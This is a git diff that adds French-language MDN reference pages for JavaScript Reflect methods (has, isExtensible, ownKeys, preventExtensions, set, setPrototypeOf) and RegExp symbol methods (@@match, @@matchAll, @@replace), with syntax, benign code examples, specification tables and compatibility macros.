Un {{jsxref("Boolean","booléen","",1)}} qui indique si la propriété recherchée est présente sur l'objet cible.

+ +

Exceptions

+ +

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}}.

+ +

Description

+ +

La méthode Reflect.has vous permet de vérifier si une propriété est présente sur un objet. C'est une fonction qui agit comme l'opérateur in.

+ +

Exemples

+ +
Reflect.has({x: 0}, "x"); // true
+Reflect.has({x: 0}, "y"); // false
+
+// renvoie true pour les propriétés présentes
+// grâce à la chaîne de prototypes
+Reflect.has({x: 0}, "toString");
+
+// Proxy avec la méthode .has()
+obj = new Proxy({}, {
+  has(t, k) { return k.startsWith("bou"); }
+});
+Reflect.has(obj, "bouchon"); // true
+Reflect.has(obj, "bonbon");  // false
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.has', 'Reflect.has')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.has', 'Reflect.has')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Reflect.has")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/reflect/index.html b/files/fr/web/javascript/reference/global_objects/reflect/index.html new file mode 100644 index 0000000000..8a1383c7b5 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/reflect/index.html @@ -0,0 +1,85 @@ +--- +title: Reflect +slug: Web/JavaScript/Reference/Objets_globaux/Reflect +tags: + - ECMAScript 2015 + - JavaScript + - Reference + - Reflect +translation_of: Web/JavaScript/Reference/Global_Objects/Reflect +--- +
{{JSRef}}
+ +

Reflect est un objet natif qui fournit des méthodes pour les opérations qui peuvent être interceptées en JavaScript (via les proxies). Les méthodes de cet objet sont les mêmes que celles des gestionnaires de proxy. Reflect n'est pas une fonction (y compris pour construire un objet).

+ +

Description

+ +

Contrairement à la plupart des objets globaux, Reflect n'est pas un constructeur. Il ne peut pas être utilisé avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new","new")}} ou être invoqué comme une fonction. Les propriétés et méthodes de Reflect sont statiques (comme pour celles de l'objet {{jsxref("Math")}}).

+ +

Méthodes

+ +

L'objet Reflect fournit des fonctions statiques qui ont les mêmes noms que les méthodes des gestionnaires de proxy et dont certaines correspondent, avec quelques différences, à celles d'{{jsxref("Object")}} :

+ +
+
{{jsxref("Reflect.apply()")}}
+
Appelle une fonction cible avec les arguments définis par le paramètres args. Voir aussi {{jsxref("Function.prototype.apply()")}}.
+
{{jsxref("Reflect.construct()")}}
+
 L'opérateur {{jsxref("Opérateurs/L_opérateur_new","new")}} comme fonction. C'est équivalent à new cible(...args). Cette méthode permet également d'indiquer un prototype différent.
+
{{jsxref("Reflect.defineProperty()")}}
+
Semblable à {{jsxref("Object.defineProperty()")}}. Renvoie un {{jsxref("Boolean")}}.
+
{{jsxref("Reflect.deleteProperty()")}}
+
L'opérateur {{jsxref("Opérateurs/L_opérateur_delete","delete")}} comme fonction. C'est équivalent à delete cible[nom].
+
{{jsxref("Reflect.get()")}}
+
Une fonction qui renvoie la valeur d'une propriété.
+
{{jsxref("Reflect.getOwnPropertyDescriptor()")}}
+
Semblable à {{jsxref("Object.getOwnPropertyDescriptor()")}}. Renvoie un descripteur de propriété si la propriété existe sur l'objet, {{jsxref("undefined")}} sinon.
+
{{jsxref("Reflect.getPrototypeOf()")}}
+
Identique à {{jsxref("Object.getPrototypeOf()")}}.
+
{{jsxref("Reflect.has()")}}
+
L'opérateur {{jsxref("Opérateurs/L_opérateur_in","in")}} comme fonction. Renvoie un booléen qui indique si une telle propriété existe pour l'objet (qu'elle soit directement rattachée ou héritée).
+
{{jsxref("Reflect.isExtensible()")}}
+
La même fonction que {{jsxref("Object.isExtensible()")}}.
+
{{jsxref("Reflect.ownKeys()")}}
+
Renvoie un tableau de chaînes de caractères qui correspondent aux noms des propriétés propres (celles qui ne sont pas héritées) de l'objet.
+
{{jsxref("Reflect.preventExtensions()")}}
+
Semblable à {{jsxref("Object.preventExtensions()")}}. Renvoie un {{jsxref("Boolean")}}.
+
{{jsxref("Reflect.set()")}}
+
Une fonction qui affecte des valeurs à des propriétés. Renvoie un {{jsxref("Boolean")}} qui vaut true si la mise à jour a bien été effectuée.
+
{{jsxref("Reflect.setPrototypeOf()")}}
+
Une fonction qui permet de définir le prototype d'un objet.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect-object', 'Reflect')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect-object', 'Reflect')}}{{Spec2('ESDraft')}}Retrait de Reflect.enumerate
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Reflect")}}

+ +

Voir aussi

+ +
    +
  • L'objet global {{jsxref("Proxy")}}.
    • +
  • L'objet {{jsxref("Proxy.handler", "handler")}}.
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/reflect/isextensible/index.html b/files/fr/web/javascript/reference/global_objects/reflect/isextensible/index.html new file mode 100644 index 0000000000..bdb266575c --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/reflect/isextensible/index.html @@ -0,0 +1,113 @@ +--- +title: Reflect.isExtensible() +slug: Web/JavaScript/Reference/Objets_globaux/Reflect/isExtensible +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Reference + - Reflect +translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/isExtensible +--- +
{{JSRef}}
+ +

La méthode statique Reflect.isExtensible() permet de déterminer si un objet est extensible (i.e. si on peut lui ajouter de nouvelles propriétés). Elle est semblable à la méthode {{jsxref("Object.isExtensible()")}} (modulo quelques différences).

+ +
{{EmbedInteractiveExample("pages/js/reflect-isextensible.html", "taller")}}
+ + + +

Syntaxe

+ +
Reflect.isExtensible(cible)
+
+ +

Paramètres

+ +
+
cible
+
L'objet cible dont on souhaite savoir s'il est extensible.
+
+ +

Valeur de retour

+ +

Un {{jsxref("Boolean","booléen", "",1)}} qui indique si la cible est extensible ou non.

+ +

Exceptions

+ +

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}}.

+ +

Description

+ +

La méthode Reflect.isExtensible permet de déterminer si un objet est extensible (autrement dit si on peut lui ajouter de nouvelles propriétés). Cette méthode est semblable à la méthode {{jsxref("Object.isExtensible()")}}.

+ +

Exemples

+ +

Utiliser Reflect.isExtensible()

+ +

Voir aussi {{jsxref("Object.isExtensible()")}}.

+ +
// Les nouveaux objets sont extensibles.
+var vide = {};
+Reflect.isExtensible(vide); // true
+
+// ...mais ça peut être changé.
+Reflect.preventExtensions(vide);
+Reflect.isExtensible(vide); // false
+
+// Par définition, les objets scellés
+// ne sont pas extensibles.
+var scellé = Object.seal({});
+Reflect.isExtensible(scellé); // false
+
+// Par définition, les objets gelés sont
+// également non-extensibles.
+var gelé = Object.freeze({});
+Reflect.isExtensible(gelé); // false
+
+ +

Différence avec Object.isExtensible()

+ +

Si le premier argument passé à la méthode n'est pas un objet (autrement dit si la valeur est une valeur primitive), cela provoquera une exception {{jsxref("TypeError")}}. La méthode {{jsxref("Object.isExtensible()")}} aurait commencé par convertir l'argument en un objet.

+ +
Reflect.isExtensible(1);
+// TypeError: 1 is not an object
+
+Object.isExtensible(1);
+// false
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.isextensible', 'Reflect.isExtensible')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.isextensible', 'Reflect.isExtensible')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Reflect.isExtensible")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Reflect")}}
    • +
  • {{jsxref("Object.isExtensible()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/reflect/ownkeys/index.html b/files/fr/web/javascript/reference/global_objects/reflect/ownkeys/index.html new file mode 100644 index 0000000000..9372830b80 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/reflect/ownkeys/index.html @@ -0,0 +1,95 @@ +--- +title: Reflect.ownKeys() +slug: Web/JavaScript/Reference/Objets_globaux/Reflect/ownKeys +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Reference + - Reflect +translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys +--- +

{{JSRef}}

+ +

La méthode statique Reflect.ownKeys() renvoie un tableau qui contient les clés des propriétés propres (non héritées) de l'objet  cible.

+ +
{{EmbedInteractiveExample("pages/js/reflect-ownkeys.html")}}
+ + + +

Syntaxe

+ +
Reflect.ownKeys(cible)
+
+ +

Paramètres

+ +
+
cible
+
L'objet cible dont on souhaite obtenir les noms et symboles des propriétés propres.
+
+ +

Valeur de retour

+ +

Un objet {{jsxref("Array")}} qui contient les clés des propriétés propres de cible.

+ +

Exceptions

+ +

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}}.

+ +

Description

+ +

La méthode Reflect.ownKeys renvoie un tableau dont les éléments sont les clés des propriétés propres de l'objet cible. Sa valeur de retour est équivalente à {{jsxref("Object.getOwnPropertyNames", "Object.getOwnPropertyNames(target)", "", 1)}}.concat({{jsxref("Object.getOwnPropertySymbols", "Object.getOwnPropertySymbols(target)", "", 1)}}).

+ +

Exemples

+ +
Reflect.ownKeys({z: 3, y: 2, x: 1}); // [ "z", "y", "x" ]
+Reflect.ownKeys([]); // ["length"]
+
+var sym = Symbol.for("comète");
+var sym2 = Symbol.for("météore");
+var obj = {[sym]: 0, "str1": 0, "773": 0, "0": 0,
+           [sym2]: 0, "-1": 0, "8": 0, "seconde str": 0};
+Reflect.ownKeys(obj);
+// [ "0", "8", "773", "str1", "-1", "seconde str", Symbol(comète), Symbol(météore) ]
+// Indices dans l'ordre numérique
+// Chaînes de caractères dans l'ordre d'insertion
+// Symboles dans l'ordre d'insertion
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.ownkeys', 'Reflect.ownKeys')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.ownkeys', 'Reflect.ownKeys')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Reflect.ownKeys")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Reflect")}}
    • +
  • {{jsxref("Object.getOwnPropertyNames()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/reflect/preventextensions/index.html b/files/fr/web/javascript/reference/global_objects/reflect/preventextensions/index.html new file mode 100644 index 0000000000..c7f202f685 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/reflect/preventextensions/index.html @@ -0,0 +1,103 @@ +--- +title: Reflect.preventExtensions() +slug: Web/JavaScript/Reference/Objets_globaux/Reflect/preventExtensions +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Reference + - Reflect +translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/preventExtensions +--- +
{{JSRef}}
+ +

La méthode statique Reflect.preventExtensions() permet d'empêcher d'ajouter de nouvelles propriétés à un objet. Cette méthode est semblable à la méthode {{jsxref("Object.preventExtensions()")}} (modulo quelques différences).

+ +
{{EmbedInteractiveExample("pages/js/reflect-preventextensions.html")}}
+ + + +

Syntaxe

+ +
Reflect.preventExtensions(cible)
+
+ +

Paramètres

+ +
+
cible
+
L'objet cible dont on veut empêcher l'ajout d'autres propriétés.
+
+ +

Valeur de retour

+ +

Un {{jsxref("Boolean","booléen","",1)}} qui indique si l'interdiction a bien été mise en place sur l'objet cible.

+ +

Exceptions

+ +

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}}.

+ +

Description

+ +

La méthode Reflect.preventExtensions permet d'empêcher l'ajout de nouvelles propriétés sur un objet. Cette méthode est semblable à {{jsxref("Object.preventExtensions()")}}.

+ +

Exemples

+ +

Utiliser Reflect.preventExtensions()

+ +

Voir aussi {{jsxref("Object.preventExtensions()")}}.

+ +
// Par défaut les objets sont extensibles
+var vide = {};
+Reflect.isExtensible(vide); // === true
+
+// ...mais cela peut être modifié
+Reflect.preventExtensions(vide);
+Reflect.isExtensible(vide); // === false
+
+ +

Différences avec Object.preventExtensions()

+ +

Si le premier argument de cette méthode n'est pas un objet (autrement dit c'est une valeur primitive), cela provoquera une {{jsxref("TypeError")}}. {{jsxref("Object.preventExtensions()")}}, quant à elle, convertira l'argument passé en un objet.

+ +
Reflect.preventExtensions(1);
+// TypeError: 1 is not an object
+
+Object.preventExtensions(1);
+// 1
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.preventextensions', 'Reflect.preventExtensions')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.preventextensions', 'Reflect.preventExtensions')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Reflect.preventExtensions")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Reflect")}}
    • +
  • {{jsxref("Object.isExtensible()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/reflect/set/index.html b/files/fr/web/javascript/reference/global_objects/reflect/set/index.html new file mode 100644 index 0000000000..8d37acc413 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/reflect/set/index.html @@ -0,0 +1,109 @@ +--- +title: Reflect.set() +slug: Web/JavaScript/Reference/Objets_globaux/Reflect/set +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Reference + - Reflect +translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/set +--- +
{{JSRef}}
+ +

La méthode statique Reflect.set() permet de définir ou de modifier une propriété sur un objet.

+ +
{{EmbedInteractiveExample("pages/js/reflect-set.html")}}
+ + + +

Syntaxe

+ +
Reflect.set(cible, cléPropriété, valeur[, récepteur])
+
+ +

Paramètres

+ +
+
cible
+
L'objet cible sur lequel on veut définir ou modifier la propriété.
+
cléPropriété
+
Le nom de la propriété à définir ou à modifier.
+
valeur
+
La valeur pour la propriété.
+
récepteur{{optional_inline}}
+
La valeur de this pour l'appel à cible si un mutateur (setter) est utilisé.
+
+ +

Valeur de retour

+ +

Un {{jsxref("Boolean","booléen","",1)}} qui indique si la définition/modification de la propriété a réussi.

+ +

Exceptions

+ +

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}}.

+ +

Description

+ +

La méthode Reflect.set permet de définir une propriété sur un objet. Elle effectue une affectation de propriété et est semblable à la syntaxe pour accéder à un propriété mais sous la forme d'une fonction.

+ +

Exemples

+ +

Utiliser Reflect.set()

+ +
// Object
+var obj = {};
+Reflect.set(obj, "prop", "value"); // true
+obj.prop; // "value"
+
+// Array
+var arr = ["canard", "canard", "canard"];
+Reflect.set(arr, 2, "oie"); // true
+arr[2]; // "oie"
+
+// On peut l'utiliser pour tronquer un tableau
+Reflect.set(arr, "length", 1); // true
+arr; // ["canard"];
+
+// Avec un seul argument
+// cléPropriété et valeur valent "undefined".
+var obj = {};
+Reflect.set(obj); // true
+Reflect.getOwnPropertyDescriptor(obj, "undefined");
+// { value: undefined, writable: true, enumerable: true, configurable: true }
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.set', 'Reflect.set')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.set', 'Reflect.set')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Reflect.set")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/reflect/setprototypeof/index.html b/files/fr/web/javascript/reference/global_objects/reflect/setprototypeof/index.html new file mode 100644 index 0000000000..8d267952c0 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/reflect/setprototypeof/index.html @@ -0,0 +1,100 @@ +--- +title: Reflect.setPrototypeOf() +slug: Web/JavaScript/Reference/Objets_globaux/Reflect/setPrototypeOf +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Reference + - Reflect +translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/setPrototypeOf +--- +
{{JSRef}}
+ +

la méthode statique Reflect.setPrototypeOf() est semblable à la méthode {{jsxref("Object.setPrototypeOf()")}} (exception faite de la valeur de retour). Elle permet de définir le prototype (c'est-à-dire la propriété interne [[Prototype]]) d'un objet donné avec un autre objet ou {{jsxref("null")}}. Cette méthode renvoie true si l'opération a réussi et false sinon.

+ +
{{EmbedInteractiveExample("pages/js/reflect-setprototypeof.html")}}
+ + + +

Syntaxe

+ +
Reflect.setPrototypeOf(cible, prototype)
+
+ +

Paramètres

+ +
+
cible
+
L'objet cible dont on souhaite modifier le prototype.
+
prototype
+
Le nouveau prototype à appliquer à l'objet cible (ça peut être un objet ou {{jsxref("null")}}).
+
+ +

Valeur de retour

+ +

Un {{jsxref("Boolean","booléen","",1)}} qui indique si le prototype a correctement été modifié.

+ +

Exceptions

+ +

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}} ou si prototype n'est ni un objet ni {{jsxref("null")}}.

+ +

Description

+ +

La méthode Reflect.setPrototypeOf permet de modifier le prototype (qui est la valeur de la propriété interne [[Prototype]]) d'un objet donné.

+ +

Exemples

+ +

Utiliser Reflect.setPrototypeOf()

+ +
Reflect.setPrototypeOf({}, Object.prototype); // true
+
+// On peut modifier le [[Prototype]] d'un objet
+// pour que celui-ci soit null.
+Reflect.setPrototypeOf({}, null); // true
+
+// La méthode renvoie false si la cible
+// n'est pas extensible.
+Reflect.setPrototypeOf(Object.freeze({}), null); // false
+
+// La méthode renvoie false si l'affectation
+// entraîne un cycle dans la chaîne de prototypes.
+var target = {};
+var proto = Object.create(target);
+Reflect.setPrototypeOf(target, proto); // false
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.setprototypeof', 'Reflect.setPrototypeOf')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.setprototypeof', 'Reflect.setPrototypeOf')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Reflect.setPrototypeOf")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Reflect")}}
    • +
  • {{jsxref("Object.setPrototypeOf()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/@@match/index.html b/files/fr/web/javascript/reference/global_objects/regexp/@@match/index.html new file mode 100644 index 0000000000..7adea1beff --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/@@match/index.html @@ -0,0 +1,119 @@ +--- +title: 'RegExp.prototype[@@match]()' +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/@@match +tags: + - Expressions rationnelles + - JavaScript + - Méthode + - Prototype + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@match +--- +
{{JSRef}}
+ +

La méthode [@@match]() permet de récupérer les correspondances obtenues lorsqu'on teste une chaîne de caractères par rapport à une expression rationnelle (regexp).

+ +
{{EmbedInteractiveExample("pages/js/regexp-prototype-@@match.html")}}
+ + + +

Syntaxe

+ +
regexp[Symbol.match](str)
+ +

Paramètres

+ +
+
str
+
La chaîne de caractères ({{jsxref("String")}}) sur laquelle on veut chercher des correspondances.
+
+ +

Valeur de retour

+ +

Un tableau ({{jsxref("Array")}}) qui contient les résultats des correspondances et les groupes capturés grâce aux parenthèse. S'il n'y a aucune correspondance, ce sera {{jsxref("null")}}.

+ +

Description

+ +

Cette méthode est appelée de façon interne lorsqu'on utilise {{jsxref("String.prototype.match()")}}. Ainsi, les deux exemples qui suivent sont équivalents et le second est la version interne du premier :

+ +
'abc'.match(/a/);
+
+/a/[Symbol.match]('abc');
+ +

Cette méthode existe afin de permettre d'adapter le comportement de la recherche des correspondances pour les sous-classes de RegExp.

+ +

Exemples

+ +

Appel direct

+ +

Cette méthode peut être utilisée comme {{jsxref("String.prototype.match()")}} mais avec un objet this différent et un ordre des paramètres également différent.

+ +
var re = /[0-9]+/g;
+var str = '2016-01-02';
+var résultat = re[Symbol.match](str);
+console.log(résultat);  // ["2016", "01", "02"]
+
+ +

Utilisation de @@match avec une sous-classe

+ +

Les sous-classes de {{jsxref("RegExp")}} peuvent surcharger la méthode [@@match]() afin de modifier le comportement.

+ +
class MaRegExp extends RegExp {
+  [Symbol.match](str) {
+    var résultat = RegExp.prototype[Symbol.match].call(this, str);
+    if (!résultat) return null;
+    return {
+      group(n) {
+        return résultat[n];
+      }
+    };
+  }
+}
+
+var re = new MaRegExp('([0-9]+)-([0-9]+)-([0-9]+)');
+var str = '2016-01-02';
+var résultat = str.match(re); // String.prototype.match appelle re[@@match].
+console.log(résultat.group(1)); // 2016
+console.log(résultat.group(2)); // 01
+console.log(résultat.group(3)); // 02
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-regexp.prototype-@@match', 'RegExp.prototype[@@match]')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-regexp.prototype-@@match', 'RegExp.prototype[@@match]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.@@match")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.match()")}}
    • +
  • {{jsxref("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}}
    • +
  • {{jsxref("RegExp.prototype.@@search()", "RegExp.prototype[@@search]()")}}
    • +
  • {{jsxref("RegExp.prototype.@@split()", "RegExp.prototype[@@split]()")}}
    • +
  • {{jsxref("RegExp.prototype.exec()")}}
    • +
  • {{jsxref("RegExp.prototype.test()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/@@matchall/index.html b/files/fr/web/javascript/reference/global_objects/regexp/@@matchall/index.html new file mode 100644 index 0000000000..82fcef5aa6 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/@@matchall/index.html @@ -0,0 +1,109 @@ +--- +title: 'RegExp.prototype[@@matchAll]()' +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/@@matchAll +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@matchAll +--- +

{{JSRef}}

+ +

La méthode [@@matchAll] renvoie l'ensemble des correspondances d'une expression rationnelle sur une chaîne de caractères.

+ +
{{EmbedInteractiveExample("pages/js/regexp-prototype-@@matchall.html")}}
+ + + +

Syntaxe

+ +
regexp[Symbol.matchAll](str)
+ +

Paramètres

+ +
+
str
+
Une chaîne de caractères ({{jsxref("String")}}) dont on souhaite trouver les correspondances.
+
+ +

Valeur de retour

+ +

Un itérateur.

+ +

Description

+ +

Cette méthode est appelée, en interne, par le moteur JavaScript, pendant l'exécution {{jsxref("String.prototype.matchAll()")}}. Les deux lignes qui suivent renverront donc le même résultat.

+ +
'abc'.matchAll(/a/);
+
+/a/[Symbol.matchAll]('abc');
+ +

Cette méthode existe afin de personnaliser le comportement des correspondances pour les sous-classes de RegExp.

+ +

Exemples

+ +

Appel direct

+ +

Cette méthode peut être utilisée de façon semblable à {{jsxref("String.prototype.matchAll()")}} mais l'objet this et l'ordre des arguments seront différents.

+ +
var re = /[0-9]+/g;
+var str = '2016-01-02';
+var resultat = re[Symbol.matchAll](str);
+
+console.log(Array.from(resultat, x => x[0]));
+// ["2016", "01", "02"]
+
+ +

Utiliser @@matchAll dans une sous-classe

+ +

Les sous-classes de {{jsxref("RegExp")}} peuvent surcharger la méthode [@@matchAll]() afin de modifier le comportement par défaut (par exemple pour renvoyer un tableau ({{jsxref("Array")}}) plutôt qu'un itérateur).

+ +
class MaRegExp extends RegExp {
+  [Symbol.matchAll](str) {
+    var resultat = RegExp.prototype[Symbol.matchAll].call(this, str);
+    if (!resultat) {
+      return null;
+    } else {
+      return Array.from(resultat);
+    }
+  }
+}
+
+var re = new MaRegExp('([0-9]+)-([0-9]+)-([0-9]+)', 'g');
+var str = '2016-01-02|2019-03-07';
+var resultat = str.matchAll(re);
+console.log(resultat[0]); // [ "2016-01-02", "2016", "01", "02" ]
+console.log(resultat[1]); // [ "2019-03-07", "2019", "03", "07" ]
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-regexp-prototype-matchall', 'RegExp.prototype[@@matchAll]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.@@matchAll")}}

+ +

Voir aussi

+ +
    +
  • {{JSxRef("String.prototype.matchAll()")}}
    • +
  • {{JSxRef("Symbol.matchAll")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/@@replace/index.html b/files/fr/web/javascript/reference/global_objects/regexp/@@replace/index.html new file mode 100644 index 0000000000..8d2f44115e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/@@replace/index.html @@ -0,0 +1,124 @@ +--- +title: 'RegExp.prototype[@@replace]()' +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/@@replace +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@replace +--- +
{{JSRef}}
+ +

La méthode [@@replace]() remplace toutes ou certaines correspondances d'un motif this dans une chaîne de caractère avec un outil de remplacement. La valeur renvoyée est la nouvelle chaîne ainsi créée. Cet outil de remplacement peut être une chaîne de caractère ou une fonction appelée pour chacune des correspondances.

+ +
{{EmbedInteractiveExample("pages/js/regexp-prototype-@@replace.html")}}
+ + + +

Syntaxe

+ +
regexp[Symbol.replace](str, newSubStr|function)
+ +

Paramètres

+ +
+
str
+
Une chaîne de caractères ({{jsxref("String")}}) pour laquelle on souhaite effectuer des remplacement.
+
newSubStr (replacement)
+
La chaîne de caractères qui remplace les correspondances trouvées. On peut effectuer le remplacement sur un nombre donné de correspondances (cf. la section {{jsxref("String.prototype.replace", "Utiliser une chaîne de caractères comme paramètre", "#Utiliser_une_chaîne_de_caractère_comme_paramètre", 1)}} de la page {{jsxref("String.prototype.replace()")}}).
+
function (replacement)
+
Une fonction qui est appelée pour créer la sous-chaîne de remplacement. Les arguments fournis à cette fonction sont décrits dans la section {{jsxref("String.prototype.replace", "Utiliser une chaîne de caractères comme paramètre", "#Utiliser_une_chaîne_de_caractère_comme_paramètre", 1)}} de la page {{jsxref("String.prototype.replace()")}}.
+
+ +

Valeur de retour

+ +

Une nouvelle chaîne de caractères pour laquelle les correspondances (toutes ou une partie) ont été remplacées.

+ +

Description

+ +

Cette méthode est appelée de façon interne par la méthode {{jsxref("String.prototype.replace()")}} lorsque l'arugment pattern argument est un objet {{jsxref("RegExp")}}. Les deux lignes de code qui suivent sont équivalentes et la seconde est la version interne de la première :

+ +
'abc'.replace(/a/, 'A');
+
+/a/[Symbol.replace]('abc', 'A');
+ +

Cette méthode existe afin de pouvoir personnaliser le comportement du remplacement pour les classes filles de RegExp.

+ +

Si l'argument décrivant le motif n'est pas un objet {{jsxref("RegExp")}}, {{jsxref("String.prototype.replace()")}} n'appellera pas cette méthode et ne créera pas d'objet {{jsxref("RegExp")}}.

+ +

Exemples

+ +

Appel direct

+ +

Cette méthode peut être utilisée comme {{jsxref("String.prototype.replace()")}}, aux différences près que l'objet this est différent et que l'ordre des arguments change :

+ +
var re = /-/g;
+var str = '2016-01-01';
+var newstr = re[Symbol.replace](str, '.');
+console.log(newstr);  // 2016.01.01
+
+ +

Utiliser @@replace dans une sous-classe

+ +

Les sous-classes de {{jsxref("RegExp")}} peuvent surcharger la méthode [@@replace]() pour modifier le comportement.

+ +
class MaRegExp extends RegExp {
+  constructor(pattern, flags, count) {
+    super(pattern, flags);
+    this.count = count;
+  }
+  [Symbol.replace](str, replacement) {
+    // Applique @@replace |count| fois.
+    var result = str;
+    for (var i = 0; i < this.count; i++) {
+      result = RegExp.prototype[Symbol.replace].call(this, result, replacement);
+    }
+    return result;
+  }
+}
+
+var re = new MaRegExp('\\d', '', 3);
+var str = '01234567';
+var newstr = str.replace(re, '#'); // String.prototype.replace appelle re[@@replace].
+console.log(newstr); // ###34567
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-regexp.prototype-@@replace', 'RegExp.prototype[@@replace]')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-regexp.prototype-@@replace', 'RegExp.prototype[@@replace]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.@@replace")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.replace()")}}
    • +
  • {{jsxref("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}}
    • +
  • {{jsxref("RegExp.prototype.@@search()", "RegExp.prototype[@@search]()")}}
    • +
  • {{jsxref("RegExp.prototype.@@split()", "RegExp.prototype[@@split]()")}}
    • +
  • {{jsxref("RegExp.prototype.exec()")}}
    • +
  • {{jsxref("RegExp.prototype.test()")}}
    • +
